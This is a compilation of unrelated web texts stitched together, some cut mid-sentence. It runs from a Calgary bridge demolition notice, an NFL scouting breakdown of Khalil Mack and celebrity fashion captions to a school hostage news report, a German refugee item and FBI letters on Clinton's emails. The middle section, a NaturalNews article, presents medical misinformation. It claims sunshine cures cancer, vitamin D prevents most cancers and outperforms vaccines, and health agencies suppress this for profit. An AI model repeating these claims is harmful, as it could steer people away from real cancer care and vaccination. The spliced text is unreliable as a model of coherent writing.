It’s going to get loud
Work will begin Friday night and not stop until Tuesday morning, Stevens said. And with four excavators working to pull down the concrete, it’s going be noisy — even at night.
“To get the full demolition done over the three days, it needs to be 24/7,” she said. “We’re doing everything we can to mitigate, but it is going to be loud for a little while.”
Easing future congestion
Crowchild Trail will reopen once the bridge demolition is complete. For the next 16 months, motorists can expect lane closures and congestion in the surrounding areas as crews work to construct a new interchange. Stevens said there will be detours in place for the drivers, cyclists and pedestrians who normally use Flanders Avenue.
estark@calgaryherald.com
twitter.com/erikamstarkMatt Weston is a writer for Battle Red Blog, the Houston Texans SB Nation site, who also enjoys to write about other teams and players who live outside of the Houston football vortex.
For the past two years there was a singular name ringing out thru the high school halls of NFL draft talk. "CLOW-NEY" would echo off lockers, and thru Mrs. McCarty's AP English class, talk radio, television sets, slideshows, and mock drafts everywhere. Jadeveon was claimed to be a freak athlete who's physical ability was not bounded to time, space, and the laws of physics that hinder us mortals. He was a creature unlike any other ever to be seen on a Saturday afternoon and for two straight seasons he was penciled in as the number one pick in the NFL draft. Not even a "redshirt" Junior year and injury concerns could weaken the bellows of Clowney's cacophony. Then the combine happened.
At the combine one player began to quell some of the blood-thirsty Clowney #want, a player who received only one FBS football scholarship offer, a player who demolished MACtion at the University of Buffalo, a player named Khalil Mack. At the run real fast and jump really high in your underwear competition Mack posted the following measurements.
Measure
Result
40 Yd Dash
4.65 seconds
Bench (225)
23 reps
Vertical
40.0 inches
Broad
128 inches
20 Yd Shuffle
4.18 seconds
3 Cone Drill
7.08 seconds
Height
6'3"
Arm Length
33 1/4"
Weight
251 pounds
This performance along with his college stats
Category
Stat
Sacks
28.5
Interceptions
3
Tackles
327
Tackles for a Loss
75 (1st in NCAA)
Forced Fumbles
16 (1st in NCAA)
Passes Defended
22
heralded him as the 2014 SackSeer champion, a model built by Football Outsiders to project the number of sacks a defensive end or edge rusher will accrue thru their first five seasons, and projected him to have 38.9 sacks or 8.7 more than the once-in-a-generation-can't-miss prospect. The analysis also claimed for him to be even freakier than the freakiest freak in the entire country:
It may sound crazy, but SackSEER actually likes Mack’s Combine workout better than Clowney’s. Clowney had a faster forty-yard dash (4.53 seconds versus 4.63 seconds), but Mack bested Clowney in the vertical leap, the broad jump, and crushed him in the three-cone. It is true that Clowney is bigger than Mack, but based on Combine weigh-ins, Clowney is only 15 pounds heavier than Mack -— bigger, but not so big as to offset Mack’s other advantages. Clowney may be a freak athlete, but putting Mack’s entire workout (and not just his forty-yard dash) in historical context, Mack is as freaky as Clowney, if not freakier. Moreover, Mack’s stats for the Buffalo Bulls suggest that he is not so much a man, but rather, a vortex where offensive plays go to die. Mack holds the all-time FBS record for forced fumbles (16) and ties the all-time record for tackles for loss (75). To top it off, Mack had four interceptions and 24 passes broken up. The NCAA doesn’t track defeats, but with over one hundred combined tackles for loss and passes defensed, Mack would likely have the all-time record if it did.
Once the dead period between the Prodays and the NFL draft arrived rumblings started to bellow from the pre-draft volcano. Mike Mayock claimed that he would take Khalil Mack over Jadeveon Clowney and oozed and gushed over his game tape against Ohio State. Additionally, there were even rumors that Houston Texans' GM Rick Smith preferred Mack to Clowney. Hoopla and grumbles aside, the Houston Texans took Clowney with the number one pick and Khalil Mack was taken with the fifth pick by the Oakland Raiders.
Through the first two weeks of the regular season Mack and Clowney have had completely opposite results. Clowney was injured after playing twenty-three snaps against the Washington Redskins after suffering a knee injury, and is expected to miss two to four more weeks. Mack on the other hand has been productive and has potential oozing out of every stitch of his silver and black uniform. So far this season Mack has put up the following numbers.
Category
Measure
Sacks
0
QB Hits
2
QB Hurries
2
Batted Passes
1
Tackles
8
Stops
5
Regardless of the lack of sacks filling the box score, Mack has been one of the few bright spots on the dust farting, old man Oakland defense. In week two against Houston he put his potential and production on display against Houston's Pro Bowl left tackle, Duane Brown, and newly improved right tackle Derek Newton.
Quarter 1 3:52 Remaining Result: Arian Foster Left Tackle for 1 Yard (Tackle by Khalil Mack)
In the first quarter against the Texans, Houston is lined up in the I-formation and is running a lead play to the left. Right before the snap Mack stalks closer to the line of scrimmage. On this play he's not going to be blocked because an outside linebacker playing that far outside shouldn't make a play on the ball. Houston has the peace of mind to leave Mack unblocked without worrying about him terrorizing Arian Foster's zen poetry run style.
Once the ball is snapped Mack quickly realizes he is unblocked. When the light bulb flicks on he turns his hips and squeezes himself down the line of scrimmage. If you compare Mack to the rest of the players on the line he's directly even with them. He doesn't take a fat, lazy angle, or chase into the backfield. He plays with the correct technique and takes a direct route to the back.
The play-side is a mess. Houston's offensive line was unable to move the line of scrimmage so what we have is a goulash of bodies. Now the wild man screaming from the back-side has a chance to make a play, despite the fact he was coming from another hemisphere.
Mack comes in and gets credited with a tackle on Arian Foster.
This may seem like a trivial play, which it is in the grand scheme of the game, but what's important is that it displays Mack's speed and acceleration in an unblocked, vacuum on the field.
Quarter 2 12:54 Remaining Result: Ryan Fitzpatrick Pass Complete Short Middle to Andre Johnson for 14 Yards
Following a 65 yard interception return by Kareem Jackson Houston comes out in a shotgun formation to throw the ball on first down. Foster is lined up on the right-side of the backfield so Houston's offensive line has a "Lucky" call (Houston's left side of the line is going to shift one gap over, the center to the "A", the left guard to the "B" and the left tackle to the "C"). This lines up Mack in a one vs. one match-up against Texans offensive line staple, Duane Brown (#76).
Once the ball is snapped Mack jumps out of his two point stance. Yes, this is a picture, but you can still see the quickness of Mack's get off below. He's in the middle of his second step before Lamaar Woodley finishes his first step. Mack has nearly taken two steps by the time Fitzpatrick catches the snap.
Mack comes at a tight angle aiming for Brown's inside shoulder. Most young pass rushers have one pass rush move they rely on. Whether it's a swim, a spin, a rip on the outside shoulder or a bull rush they will beat it into the ground until their skill improves and they better understand how to play the game. Mack is unlike this. He can rip, speed rush, and swim with ease. Also he can attack either the outside or the inside shoulder of the offensive tackle. Right now his head is lined up with the red seven on Brown's jersey and his left foot is planted in the ground.
Brown thinks Mack is going to take an inside route so he goes to deliver his punch. Mack has other ideas. He bounces off his left foot to the outside shoulder and dodges Brown's attack like like a maniacal matador. Brown usually has perfect technique when he delivers his punch, but here he is with his head over his toes about to tip over.
Mack gets around Brown. Like the previous play he instantly flattens himself to the line of scrimmage by turning his hips towards the quarterback like a mouse slipping underneath a door. When rushing the passer every tenth of a second is precious and every step the defender wastes just gives the quarterback more time to throw the ball. A long lazy angle leads to clean pockets. Mack has exceptional balance and can easily turn his momentum towards the quarterback instead of it allowing it to carry him up field.
Brown is able to recover some, but Mack is too fast for his touch to dissuade him at all.
In the previous image Mack had a perfect angle to Fitzpatrick, but now the Texans quarterback has stepped up into the pocket. Mack now begins to chase him in the pocket as if he's a cheetah going after a gazelle.
Before Mack can deliver a hit Fitzpatrick is able to complete a pass to the always open Andre Johnson.
Quarter 2 11:45 Remaining Result: Jonathan Grimes for -2 Yards (Tackle by Sio Moore)
The previous two plays depicted Mack's speed, acceleration, and fluidity. This play shows his brute strength.
Houston is running power from the shotgun to the left end of the line. The guard and tackle on the left side will have a "Duece" block (Double team between to the Guard and Tackle) to the back-side linebacker, and the right guard, Brandon Brooks (#79) will pull around to the play-side linebacker Sio Moore (#55). As far as Mack is concerned, he is matched up one vs. one with Ryan Griffin, tight end #84.
Griffin takes a slide step to the left to cover Mack and deliver a hit to his sternum. Mack reacts quickly. He bunkers low and has his hands up to match Griffin's punch.
In the last image you can see that Griffin was going to deliver his punch first, which he should because he knows the snap count. But here Mack has exploded his hands into the numbers on Griffin's jersey to separate him the tight end. Mack simply out hits him. Griffin isn't the best blocker, but it's rare to see an outside linebacker gain ground on the offensive player this quickly.
Now they are playing mercy. Mack is low, has his hips bent, and is driving Griffin backwards.
Mack is now looking into the backfield. He sees Foster behind the glob of bodies. He is strong enough to hold Griffin up with one arm up so he can separate quickly if Foster is able to break from the horde and bounce the run into the inside gap.
Foster escapes and Mack understands he's going outside. He knows Foster is too quick for him to be able to shed inside to make a tackle. Additionally, he's responsible to hold the edge and cover the "C" gap.
Mack takes his right arm to shove Griffin to the left and then uses his left hand to rip underneath. All Griffin can do is grab his shoulder pads so he doesn't fall over.
Moore is able to make the tackle before Mack can make a play on Foster.
As long as Mack remains an outside linebacker he is going to usually end up going against offensive tackles in the pass game and tight ends in the run game. He has the speed to run past offensive tackles and the strength to set the edge and drive tight ends into the backfield like on this play. Mack has the strength and speed to not only be a great pass rusher, but a great run stopper as well.
Quarter 2 4:01 Remaining Result: Arian Foster Left Tackle for 5 Yards (Tackle by Tyvon Branch)
If you were already impressed by Mack's get off before, you might as well spare yourself the hassle and leave your jaw on the floor because it's only going to plummet off the hinges again.
On this play the Texans are running the zone stretch that made Arian Foster a rich man during the Kubiak era. Each offensive lineman is going to take a zone step to the left and make blocks depending on if the lineman is covered or uncovered. Houston has two tight ends on the line of scrimmage and both are on the left side of the line. Mack is lined up as a "6i" on the inside shoulder of the second tight end (#88 Garrett Graham).
Here you can see the zone steps. The two tight ends have a combo block on Mack. The second tight end is supposed to punch the outside shoulder of Mack and head to the safety. He's just trying give the first tight end (#84 Ryan Griffin) enough help so he can make his block.
Mack sees the zone steps and hes does what he's supposed to, flow to where the play is going and stay in his gap. He takes two steps to the right and attacks the gap between the tight ends. These two steps make it even harder for the first tight end to get his head on Mack's outside shoulder.
The chasm between the tight ends allows Mack to slip on thru. He lowers his hips and explodes through the space between them. Mack is going against two players and neither one of them can even get a helmet on him.
Right after Foster gets the snap Mack is three yards into the backfield. All the first tight end can do (#84) is hold onto the back of him.
Griffin keeps shoving the back of him, which prevents him from tackling Foster in the backfield.
A holding flag is thrown on Griffin for the block he made on Mack.
Khalil is explosive and it's seen in this play. He's able to split a double team in a flash and get into the backfield just after the running back gets the ball. This entire play is just a testament to his insane athleticism.
Quarter 3 9:18 Remaining Result: Ryan Fitzpatrick Pass Incomplete Short Right to DeAndre Hopkins
This last play of the bunch is my favorite. Again Houston's offensive line has a lucky call so Brown will slide into the "C" gap and will block Mack one vs. one. Mack is lined up in a "jet" technique, which just means he is playing wide off the line of scrimmage. There's an ocean between him and the defensive tackle. Brown knows that Mack is going to be at full speed by the contact is made. When tackles are in this situation they tend to play sloppier, rush themselves, and over extend in an attempt to cover ground quicker.
Brown is already nervous when it comes to Mack's speed. He's taking an enormous first step in effort to kick slide over faster.
The fear of Mack's speed is seen again in this image. Brown's feet are close together and his base narrower than it usually is. This is because of the long steps that he's taken. Rather than taking shorter, rapid, choppier steps, he hurries himself, and takes elongated steps that bring his feet together. Just like the first play Mack is square with Brown. He doesn't show which way he's going until the very last moment. Any subtle movement, like the drop of a shoulder, or the turn of a hip can display to the lineman what the defensive player is intending to do.
Contact is about to be made and Mack plants his right foot into the ground and steps with his left one towards the inside. Brown should be making contact at this point in time.
Brown goes to punch, but he's too late. Mack has already passed his shoulder. He hits air and ends up stumbling forward. This play looks similar to the first one, but the big difference is that Mack has taken an inside route rather than an outside one. When an edge rusher can mix up his moves, and routes, and combine it with elite athleticism you end up with offensive tackles over extending in fear and blocking air.
Mack uses his right hand to separate himself from Brown for good measure. Additionally, he has a perfect angle to Fitzpatrick.
Houston's quarterback is just barely able to get the ball away and tosses it lamely into the corner of the endzone. Consequently, Mack has yet to record a sack and Houston has yet to allow one.
Khalil Mack is already showing signs of becoming the next great pass rusher. He's not only fluid, fast, and strong, but he's skilful as well. He knows how to rush inside or outside and can rip, swim, and juke to get around offensive lineman in the pass game. In the run game he has the strength and get off to set the edge to along with the intelligence on how to read the play. He's going to be great because of his athleticism and his ability to play the game.
It's only been two weeks, but for a player to be this young and have this level of skill and insane athletic ability means one thing, STARDOM. J.J. Watt floods commercials every Sunday telling you to play fantasy football on Yahoo!, DeMarcus Ware gets to |
Sweater
Netflix
She knows how to rock the basics. We’re loving this fuzzy navy blue sweater. It’s cozy and casual—the perfect mix!
Her Other Fuzzy Sweater
Netflix
This one is a bit more oversized, and we love it just as much as the navy one.
Her Overalls
Netflix
Of course Mickey just lounges around the house on a Saturday night wearing overalls. OF COURSE.
Her Tank/Scalloped Skirt Combo
Netflix
At the beginning of this scene, Mickey is sitting down, and all you can see of her outfit is her tank. And you wonder, What does “E” stand for? But then she stands up and you see that she’s paired it with a skirt, and you wonder, Why have I never worn this outfit before?
Her Date Night Dress
Netflix
THIS DRESS, you guys. This dress is everything. Gillian Jacobs is the master of looking fabulous while not wearing a bra. Hats off to Gus who picked the outfit.
It’s official: We need to enlist Gillian Jacobs’ stylist to dress us.It's intervention time and you know it. Many of us have it: PHONE ADDICTION. And we got your back, even though Nnekay is going to go through heavy withdrawals through out the episode. But first Nnekay and James have a different kind of addiction: binge watching and it is a battle royal between Quantico vs. Homeland vs. Scandal. Also James seems to be quite the socialite these days and witnessed the truth about what happens to a gaggle of girls when they go out clubbing, and who happened to flock towards a gay club: GIRL DOWN! Getting down to business James is going to break down how and why you're addicted to your phone- it's like an addictive casino in your pocket, especially when it comes to your dating apps (aka hookups). Nnekay applauds the social media site Nextdoor because it is FINALLY adding parameters to correct it's users from racially profiling each other! Hooray for change! In this Quizlet Korner Nnekay has much to say about White Feminism especially in regards to Lena Dunham and Amy Schumer. Plus James has your Back to School sex tips!
Links!
https://www.wired.com/2016/08/nextdoor-breaks-sacred-design-rule-end-rac...Activator for the immune system
The common denominator for disease
They want you to remain ignorant!
You can't keep Vitamin D down
Better than a vaccine, safer than a drug...
(NaturalNews) There is an epidemic of vitamin D deficiency sweeping across our modern world, and it's an epidemic of such depth and seriousness that it makes the H1N1 swine flu epidemic look like a case of the sniffles by comparison.is not only alarmingly widespread, it's also a root cause of many other serious diseases such as cancer, diabetes, osteoporosis and heart disease.A new study published in the March, 2010 issue of thefound that a jaw-dropping. In addition, nearly 25 percent of the study subjects were found to have extremely low levels of vitamin D.Lead author of the study, Dr. Richard Kremer at the McGill University Health Center, said "Abnormal levels of vitamin D are associated with a whole spectrum of diseases, including cancer, osteoporosis, and diabetes, as well as cardiovascular and autoimmune disorders."This new study also documents a clear link between vitamin D deficiency and. This supports a theory I've espoused here on NaturalNews for many years: That sunshine actually promote body fat loss. Vitamin D may be the hormonal mechanism by which this fat loss phenomenon operates.The research findings on vitamin D, by the way, get even better...Recent research carried out at thehas revealed thatto fight off infections.This new research, led by Professor Carsten Geisler from the Department of International Health, Immunology and Microbiology at the University of Copenhagen, found that without vitamin D, the immune system's T cells remain, offering little or no protection against invading microorganisms and viruses. But with vitamin D in the bloodstream, T cells become "armed" and begin seeking out invaders that are then destroyed and carried out of the body.Vitamin D, in other words, acts a bit like the ignition key to your car: The car won't run unless you turn the key and ignite the engine. Likewise, your immune system won't function unless it is biochemically activated with vitamin D. If you're facing the winter flu season in a state of vitamin D deficiency, your immune system is essentially defenseless against seasonal flu. That's why all the people who get sick are the ones who live indoors, work indoors and exist in a chronic state of vitamin D deficiency.That's also why virtually all the people who died from H1N1 were chronically deficient in vitamin D. They had virtually no immune system protection at all and were thus easy targets for the swine flu.These findings about vitamin D "arming" the immune system were published in. Commenting on the findings, the researchers said, "Scientists have known for a long time that vitamin D is important for calcium absorption and the vitamin has also been implicated in diseases such as cancer and multiple sclerosis, but what we didn't realize is how crucial vitamin D is for actually activating the immune system -- which we know now." (UK Telegraph, source below).It seems the CDC and WHO remain utterly ignorant about this research or they would have been recommending vitamin D to fight the recent H1N1 pandemic rather than vaccine shots. Vitamin D would have been a far more effective (and less costly) defense against the pandemic than vaccine shots, especially given that even vaccines don't work unless there is an immune response, and that immune response requires the presence of vitamin D!And while vaccine shots have undesirable side effects such as causing severe neurological damage in a small number of vaccine recipients, vitamin D's only significant "side effect" is that it prevents 77% of all cancers, too. ( https://www.naturalnews.com/021892.html What's becoming increasingly clear from all the new research is that vitamin D deficiency may be the common denominator behind our most devastating modern degenerative diseases. Kidney failure patients are almost universally deficient in vitamin D and diabetes patients are usually in the same category. People suffering from cancer almostdemonstrate severe vitamin D deficiency, as do people with osteoporosis and multiple sclerosis.In fact, vitamin D deficiency may be the root cause behind so many degenerative diseases that correcting this deficiency across the population could very well devastate the for-profit "sick care industry" that dominates western medicine today.Teach the population about vitamin D, in other words, and the cancer industry would suffer devastating losses in profits (vitamin D prevents 4 out of 5 of all cancers).This is perhaps why so many of the businesses and non-profits that depend on cancer (and other diseases) for their authority and power are actively. The National Cancer Institute, for example, which is one of the wealthiest non-profits in the world, actively runs full-page ads that attempt to scare people away from sunlight, thereby causing them to remain in a state of vitamin D deficiency.This state of deficiency coincidentally serves the power interests of the NCI by making sure that people remain riddled with cancer even though a free cure (sunshine) is readily available.The FDA, similarly, doesn't want people to learn the truth about vitamin D because informed consumers would inevitably take more vitamin D supplements and thereby prevent all sorts of diseases that the pharmaceutical industry is counting on for its monopoly profits. Every patient that takes vitamin D is one less patient paying money for cancer drugs, diabetes drugs or heart disease drugs.Other cancer industry non-profits, likewise, don't want people to learn the truth about vitamin D. They'd rather just keep selling ridiculous pink-ribbon consumer products that claim to raise money for some highly fictitious "search for the cure" -- a search that was obsolete even before it began because sunshine has been curing and preventing cancer for as long as human beings have walked the planet. Our ancestors didn't have to "run for the cure" or "walk for the cure" through some silly fundraising fiction; they merelyand they wereby the mere act of being exposed to sunlight. Walking outside is, all by itself, the "cure" for cancer that the industry claims to need billions more dollars to try to find through additional research.The inescapable truth of the matter is thatabout the healing effects of vitamin D. The financial survival of the medical industry absolutely depends on it, so the most influential medical organizations systematically downplay the importance of this vitamin while outright refusing to recommend it to patients.The NCI doesn't recommend vitamin D, nor does Komen for the Cure. The AHA, AMA, ADA and FDA all refuse to recommend vitamin D, all while strongly promoting synthetic, patented high-profit medications that cure nothing.There is, in essence,about vitamin D among the sick-care industries that depend on disease to bring them business. And there always will be, of course, because companies are in business to make money, and if you're in business to make money from disease, you generally don't go telling people how to heal themselves for free. From a purely profit-minded perspective, teaching people about vitamin D makes absolutely no business sense to the sick care industry. It's profits over people (as usual).But you can't keep hiding the truth about vitamin D forever: The science is absolutely compelling. It's irrefutable, actually. These nine things about vitamin D are inarguably true:#1) The vast majority of the western population is deficient in vitamin D.#2) Vitamin D deficiencies promote cancer, diabetes, osteoporosis, kidney disease, depression, obesity and heart disease, among other health problems.#3) Vitamin D deficiencies can be corrected with vitamin D supplementation or through sensible sunlight exposure.#4) Sunscreen productsof vitamin D in the skin, causing further vitamin D deficiencies across the population of consumers who use such products.#5) Correcting widespread vitamin D deficiencies would greatly reduce degenerative disease across the population, thereby saving nations literallyof dollars in collective sick-care costs over the next decade.#6) Vitamin D supplements are extremely affordable. Preventing disease through vitamin D supplementation is a low-cost investment in health that pays off a hundred fold (or more) through health care cost savings.#7) Vitamin D is extremely safe. There are virtually no negative side effects from deficient people taking vitamin D supplements, even at seemingly high doses such as 4000 - 8000 IU per day (more than ten times the current U.S. RDA).#8) Vitamin D deficiency is caused, in large part, by modern society's. People live, work and play indoors under artificial light. This causes severe deficiencies in exposure to(sunlight) through which vitamin D is usually generated.#9) Vitamin D dramatically reduces susceptibility to infectious disease such asand. It "activates" the immune system and allows it to function more aggressively in defending against viral invasions.In effect,. It's a better cancer drug than cancer drugs. It's a better osteoporosis drug than osteoporosis drugs. Vitamin D is a better treatment for diabetes than diabetes drugs.Again and again, vitamin D turns out to be safer, more effective and far more affordable than expensive monopoly-priced medications. Plus, it's obviouslysince the human body actually manufactures vitamin D when given the opportunity (and exposure to sunlight).Furthermore, unlike pharmaceuticals, vitamin D is safe for the environment. Flushing excess vitamin D down the drain doesn't contaminate the fish like pharmaceuticals do ( https://www.naturalnews.com/025933_pharmas_en... ).With all these things being true about vitamin D, it all makes you wonder: Why isn't health care reform even talking about this nutrient? If you really want to reform the health of a nation,across the population.When it comes to keeping people healthy, all the drugs in the world can't accomplish what vitamin D can accomplish... simply, affordably and safely.You can get it for free. No prescription required. No visit to the doctor. You don't even need to buy supplements to get this. Just walk outside, under the sun, and initiate your own healing.That very idea -- that patients can cure their own cancers by taking a walk in nature -- is the most fearful thing in the world to the cancer and vaccine industries. Big Pharma is horrified at the idea of people becoming nutritionally literate and realizing that vitamin D, all by itself, eliminates the need for potentially hundreds of different medications and vaccines. It activates healing, it defends the body against disease, and it's the single greatest threat to the profitability of the sick-care industry that dominates medicine today.If modern medicine could ban Vitamin D, they would do so in an instant. They may yet pull that off, in fact, through Sen. McCain's attempts to destroy nutritional supplements ( https://www.naturalnews.com/028257_Senator_Mc... ).Germany’s interior minister has criticised a “minority” of refugees who have absconded from or caused trouble in their allocated reception areas.
While insisting just a few were involved, Thomas de Maizière was adamant that migrants accept the relocations determined by Germany’s migration authorities.
“Until this summer, the refugees were grateful to be here with us,” he said. “They asked where the police were, where the authorities were, where they would be moved to. Now there are many refugees who believe they can reassign themselves, they leave our facilities, hail a taxi and, astonishingly, spend money travelling hundreds of kilometres through Germany, protest because they do not like the accommodation and cause trouble because they do not like the food.”
His comments coincide with recent poll results which appear to show growing resentment about the crisis among Germans. ARD public television released data showing 51 percent of Germans said they were now worried about the future, because of the migrant arrivals. This is up from 38 percent three weeks earlier.
Berlin has chosen to bear the brunt of migration to Europe, with over 200,000 of September’s arrivals to Germany seeking asylum.By of the
Marinette – A 15-year-old boy who held 24 classmates and his teacher hostage for more than five hours at Marinette High School died Tuesday morning from a self-inflicted gunshot wound.
Samuel O. Hengel was pronounced dead at 10:44 a.m. at St. Vincent’s Hospital in Green Bay. Hengel shot himself in the head as officers stormed the classroom around 8 p.m. Monday.
Hengel’s death leaves behind questions that will probably never be answered – why would an outwardly nice boy and good student bring two semiautomatic handguns and a duffel bag filled with ammunition and a knife to his social studies class?
“He’s the one person who could answer the ‘why?’ question,” said Marinette County District Attorney Allen Brey.
Classes are expected to resume Wednesday at the high school of 700 students.
Superintendent Timothy Baneck said “thank goodness we did not have a sadder conclusion.”
An autopsy was ordered.
Earlier Monday, Police Chief Jeff Skorik said more ammunition was found in a duffel bag and in Hengel's pockets at Bay Area Medical Center where he was taken Monday night after shooting himself as police stormed the classroom.
In addition, five or six shell casings were discovered in the classroom afterward. Hengel fired a few shots before police arrived shortly before 4 p.m. and three more shots inside the classroom at 8:03 p.m. That’s when police stormed the classroom and saw Hengel in one area of the room with the rest of the hostages at the opposite side of the room. None of the hostages was injured.
The earlier shots had been fired into a desk and audio visual equipment in the room.
It’s unknown how Hengel got the weapons or how he brought them into the school.
“He may be the only one who can answer those questions,” said Skorik.
Although Hengel refused to talk to police and hostage negotiators, he allowed the teacher, Valerie Burd, to have unfettered access with authorities. She kept in touch with police and described what was happening in the basement classroom.
Burd “was nothing short of heroic. She kept a very cool head and kept the suspect as calm as possible,” said Skorik. “We really give that teacher a lot of credit.”
The police chief said had it not been for Burd's actions, it’s possible the hostage situation could have ended differently.
Officials tried to establish contact with Hengel but were forced to relay instructions through phone conversations with Burd.
“The longer the time went on I became concerned that we weren’t able to establish communications direct with the hostage-taker,” said Skorik. “Really we can do our best work if we can establish a one-on-one relationship with the hostage taker. When we couldn’t evaluate his motive it was hard to defuse the situation.”
Police are unaware of any precipitating incidents that made Hengel snap.
Hengel had “a clean slate,” and nothing in his background or experience is providing any clues to what led to Monday's events, said School Superintendent Timothy Baneck.
Hengel showed up for sixth-hour social studies class, which starts around 1 p.m.
At some point during that class, Hengel asked Burd if he could go to the bathroom. He then "went to his locker, we suspect, and brought the bag back to the classroom,” said Baneck.
Inside the duffel bag was ammunition and two semiautomatic handguns, a 9-millimeter and.22-caliber, said Chief Skorik.
When students for Burd’s seventh-period class showed up, they saw a note on the door telling them to go to the library to study.
When asked whether the students in Burd’s sixth-period class were missed when they didn’t show up for their seventh-period classes – there are seven periods in the class day – Baneck said they were.
“That was really the first start, starting to pull pieces of the puzzle together that something may not be right,” the superintendent said.
Marinette High School Principal Corry Lambie said he learned there was a problem when a parent came to the school after 3 p.m. and said she had been calling his daughter’s cell phone. The daughter hadn’t answered.
When Lambie walked into the classroom at about 3:45 p.m., Hengel pointed a gun at him and calmly told him to leave the room. Hengel was at the podium and the teacher was at her desk. The students were in seats that were arranged like a fan around the room, Lambie said. The students’ cell phones were on the floor.
“I walked in and the student was allowed to leave as I backed out,” Lambie said.
Lambie made the 911 call at 3:48 p.m.
Baneck, who has been superintendent for the district for only a year, did not know how long Burd has worked at Marinette High School but said she was a veteran teacher. Burd is being lauded as a hero for keeping the hostage-taker calm, relaying information from police to the student and looking after the other students.
Skorik didn’t know how Hengel could fire a couple of shots without anyone noticing but speculated that the classroom is in the basement and farther away from other classrooms or that few students were in the area to hear shooting.
While Hengel was holding his classmates and teacher hostage throughout the afternoon and night, he didn’t make any demands and he refused to talk to authorities. When five students asked to leave to go to the bathroom at 7:40 p.m. he told them they could go.
“No demands, no requests made. At times the student was described as quiet and solemn,” said Skorik.
“We always hope we can resolve the situation without any injuries, but it’s difficult when you can’t talk to the suspect.”
Hengel’s father was cooperative and spoke to detectives at the police station but was not involved in any hostage negotiations.
Twenty minutes after the five students left, Hengel fired three shots inside the room. That’s when police breached the room and Hengel shot himself.
After the duffel bag was found with ammunition as well as a cell phone, authorities called in the Brown County Sheriff’s bomb squad to X-ray the bag and check for any incendiary devices that might have been brought into the school. A bomb-sniffing dog was also called in. Nothing else was found at Marinette High School.
The Wisconsin Crime Lab is reconstructing the events inside the room, trajectory of bullets, a timeline and the location of the student when shots were fired.
Marinette County’s district attorney was on the scene Monday night and will review reports Tuesday before making any charging decisions.
The police said Hengel did not have a juvenile criminal record. The boy was described as a good student and well liked and authorities are baffled as to why he would bring guns to school and take his classmates hostage.
Keith Schroeder, a former Marinette middle school teacher, said he had Hengel as a student and also knows the boy's teacher well. He said Hengel's family is extremely involved in all their boys' lives.
"He's a fine young man and I'm totally taken aback," Schroeder said. "Surprised, flabbergasted to say the least because this is a great family. It doesn't fit any of the things or the molds that you read about people. I couldn't say enough good things about the family."
Marinette High School remained closed Tuesday as investigators treated the classroom as a crime scene.
Chief Skorik said Hengel was "even keeled" and "well liked" and police haven't identified anything that would have made him snap.
"What caused this is a mystery."
District Attorney Allen Brey said investigators may never know the motive.
“He’s the one person who could answer the why question. We’ll all speculate. We’ll all wonder,” Brey said. “The one guy who could give us those answers is gone.”
A SWAT team had arrived at the school Monday evening, City Council member Bradley Behrendt said from the scene, about 50 miles north of Green Bay.
"I would say there's over 100 officers here, everyone from Marinette County, Green Bay... It's very shocking," Behrendt said. "They just spent a whole bundle of money on classroom doors to make them secure, but they don't have metal detectors at the school."
Choral teacher Bonita Weydt said she was talking with a teacher in another classroom after school, which lets out about 3:10 p.m., when the principal came in.
"I said, 'Corry, what's going on?' and he said, 'Get out of the building,' " Weydt said.
Officials said parents were asked to gather at the Marinette County Courthouse, where school officials and mental health counselors were meeting with families and reviewing a class roster.
Indications are the crisis began well before authorities were notified.
Dan Kitkowski, regional editor for the Marinette Eagle Herald and the parent of a Marinette High School senior, told a Journal Sentinel reporter that the situation unfolded during a sixth-period Western Civilization class that began between 1:30 and 2 p.m.
Student Zach Campbell told The Associated Press that he and his classmates had been watching a film about Greek myths at the end of the school day when Hengel pulled out a gun and shot the projector. He then fired another shot.
"It was a very scary event," Campbell said. Hengel made students put their cell phones in the middle of the room and broke his own phone when it rang. The class then spent about six hours talking to him about hunting and fishing.
"We just wanted to be on his good side," Campbell said. He said Hengel seemed depressed. "But he didn't really seem like he wanted to hurt anybody."
Speaking on ABC's "Good Morning America," student Austin Biehl said the teacher asked Hengel why he was holding them hostage. "He just said ‘no,’ that he didn't want anything, didn’t want any help," said Biehl, who was so scared that his legs were shaking.
Kitkowski's daughter and other students enrolled in the class the following period were turned away at the door to the classroom by the teacher, who told them to go to the school's library.
"She (the teacher) looked a little nervous, but nobody thought anything of it," Kitkowski said.
His daughter returned to the classroom after school to retrieve some homework but found the door locked, he said.
It wasn't until she got outside and saw police and firefighters arriving that she found out about the situation in the classroom, Kitkowski said.
While the high school, which has an enrollment of 700, was closed Tuesday, other schools in the district remained open.
No metal detectors were in use at the school at the time of the incident. The police chief said metal detectors were used to check bags and students several years ago – he estimated it was six to eight years ago – after a rash of bomb threats at the high school.
The principal said he plans to open the school Wednesday.
“We understand that there is a fear factor we must overcome,” he said. “Students at MHS are safe. The only unfortunate part is we lost a student yesterday.”
Marinette, a town of about 12,000 people, sits on the border with Michigan's Upper Peninsula. The high school has an enrollment of about 700 students.
The Associated Press contributed to this report.The inspector general for the intelligence community determined last year that classified data in emails on Hillary Clinton private server might have been "compromised" and shared with "a foreign power or an agent of a foreign power," according to two secret letters the FBI sent to the State Department.
The FBI letters revealed for the first time that the agency's investigation into Clinton's private email use resulted from a "Section 811" referral from the inspector general, Vice News reports.
The website obtained the letters under a Freedom of Information Act (FOIA) request.
Under the Intelligence Authorization Act of 1995, Section 811 "is the statutory authority that governs the coordination of counterespionage investigations between executive branch departments or agencies and the FBI," according to the report.
"A Section 811 referral is a report to the FBI about any unauthorized information that may have been disclosed to a foreign power," Vice News discloses.
The situation arises "whenever there is a compromise of classified information — for whatever reason," Steven Aftergood, director of the Project on Government Secrecy at the Washington-based Federation of American Scientists," told the site. "It could include espionage, but it could also include negligence, inadvertence, or something else.
"Section 811 does not assert a violation of criminal law," Aftergood said.
FBI Director James Comey said last month that it was possible that "hostile actors gained access" to Clinton's emails, since she had "extensively" used her personal email while traveling abroad.
But Comey added that the agency did not find "direct evidence" that Clinton's private server "was successfully hacked."
The letters sent by the FBI to the State Department were dated Oct. 23, 2015, and Jan. 20, 2016, and marked "for official use only," Vice News reports.
They were written by Peter Strzok and Charles Kable IV, who head the FBI's counterespionage section. They were sent to Gregory Starr, the assistant secretary at the State Department's Bureau of Diplomatic Security.
They were written during the FBI's investigation into Clinton's private server use.
In the October letter, Kable wrote: "The potential compromise was identified when, as part of a Freedom of Information Act (FOIA) request, the U.S. Department of State (DoS) and the ICIG reviewed electronic mail (email) communications from the private email accounts previously used by a former Secretary of State during her tenure at DoS.
